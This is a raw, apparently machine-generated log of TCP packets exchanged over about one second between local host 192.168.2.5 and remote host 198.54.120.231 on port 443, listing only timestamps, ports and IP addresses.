Sep 9, 2024 18:45:12.800331116 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.800389051 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.800447941 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.800447941 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.800456047 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.800488949 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.825707912 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.825750113 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.825789928 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.825798988 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.825839043 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.825839043 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.854532003 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.854578018 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.854687929 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.854701996 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.854752064 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.854752064 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.854875088 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.854928017 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.854981899 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.854981899 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.854989052 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.855056047 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.855557919 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.855600119 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.855632067 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.855638027 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.855678082 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.855678082 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.856087923 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.856126070 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.856192112 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.856193066 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.856199026 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.857136011 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.858864069 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.858902931 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.858963013 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.858963013 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.858972073 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.859009027 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.883002996 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.883044004 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.883080006 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.883091927 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.883122921 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.883183956 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.893099070 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.893140078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.893187046 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.893192053 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.893213987 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.893225908 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.918217897 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.918260098 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.918361902 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.918361902 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.918369055 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.918407917 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.947741985 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.947786093 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.947844028 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.947850943 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.947868109 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.947879076 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948064089 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948105097 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948131084 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948134899 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948163033 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948189020 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948205948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948250055 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948426962 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948467016 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948481083 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948488951 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948528051 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948528051 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948847055 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948887110 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948934078 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948934078 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.948939085 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.948987961 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.955712080 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.955754042 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.955818892 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.955818892 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.955827951 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.956156969 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.956161976 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.956211090 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.975909948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.976002932 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.976325989 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.976325989 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.976334095 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.976671934 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.985869884 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.985912085 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.985997915 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.985997915 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:12.986005068 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:12.986038923 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.013740063 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.013782024 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.013942957 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.013942957 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.013951063 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.014014959 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.045592070 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.045635939 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.045701027 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.045710087 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.045810938 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.046098948 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.046139956 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.046160936 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.046165943 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.046272993 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.046272993 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.046809912 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.046850920 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.046874046 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.046879053 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.046924114 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.046962023 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.047763109 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.047801971 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.047868967 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.047868967 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.047875881 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.047955990 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.051491022 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.051532984 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.051598072 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.051606894 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.051654100 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.051654100 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.069742918 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.069782972 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.069868088 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.069868088 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.069875956 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.069932938 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.078841925 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.078882933 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.078942060 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.078948975 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.078965902 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.078999043 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.111319065 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.111361980 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.111428022 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.111438036 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.111546993 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.111546993 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.138614893 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.138657093 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.138782978 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.138782978 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.138788939 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.138878107 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.139024019 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.139064074 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.139096975 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.139101982 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.139211893 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.139211893 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.139715910 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.139755964 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.139853001 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.139853001 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.139859915 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.140135050 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.140707016 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.140744925 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.141155958 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.141155958 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.141163111 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.141206980 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.144294024 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.144332886 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.144360065 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.144371033 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.144381046 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.144527912 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.162422895 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.162465096 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.162767887 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.162779093 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.162837982 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.171607971 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.171685934 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.171744108 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.171744108 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.171749115 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.171910048 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.207067966 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.207129955 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.207240105 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.207240105 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.207256079 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.207411051 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.231720924 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.231739998 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.232191086 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.232207060 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.232213020 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.232317924 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.232317924 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.232323885 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.232378006 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.232913971 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.232928991 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.233006954 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.233011961 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.233071089 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.233462095 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.233475924 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.233521938 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.233527899 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.233660936 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.233660936 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.238560915 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.238574982 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.238734007 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.238740921 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.239403009 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.254939079 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.255106926 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.255153894 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.255193949 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.255244017 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.255244017 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.263750076 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.263792992 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.263837099 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.263843060 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.263864994 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.263904095 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.299381971 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.299474955 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.299534082 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.299534082 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.299540043 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.299626112 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.323925972 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.323971033 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.324320078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.324338913 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.324338913 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.324345112 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.324372053 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.324376106 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.324481010 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.324481010 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.324486017 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.324539900 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.325226068 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.325279951 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.325325012 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.325330973 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.325346947 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.325381994 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.325732946 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.325776100 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.325824022 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.325829029 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.325839043 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.326139927 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.330995083 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.331038952 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.331094027 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.331094980 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.331100941 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.331217051 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.352781057 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.352796078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.353003025 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.353009939 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.353066921 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.356311083 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.356327057 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.356379032 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.356393099 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.356410980 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.356434107 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.392393112 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.392409086 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.392612934 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.392623901 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.392685890 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.416557074 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.416570902 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.417087078 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.417162895 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.417236090 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.417236090 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.417246103 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.417807102 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.417819977 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.417877913 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.417877913 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.417877913 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.417886972 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.418371916 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.418387890 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.418422937 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.418422937 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.418428898 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.418466091 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.418466091 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.423336029 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.423347950 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.423404932 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.423410892 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.424038887 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.445811033 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.445825100 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.445990086 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.445996046 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.446053982 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.448844910 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.448858976 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.448970079 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.448976040 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.449028015 CEST	49717	443	192.168.2.5	198.54.120.231
Sep 9, 2024 18:45:13.484796047 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.484857082 CEST	443	49717	198.54.120.231	192.168.2.5
Sep 9, 2024 18:45:13.484997034 CEST	49717	443	192.168.2.5	198.54.120.231
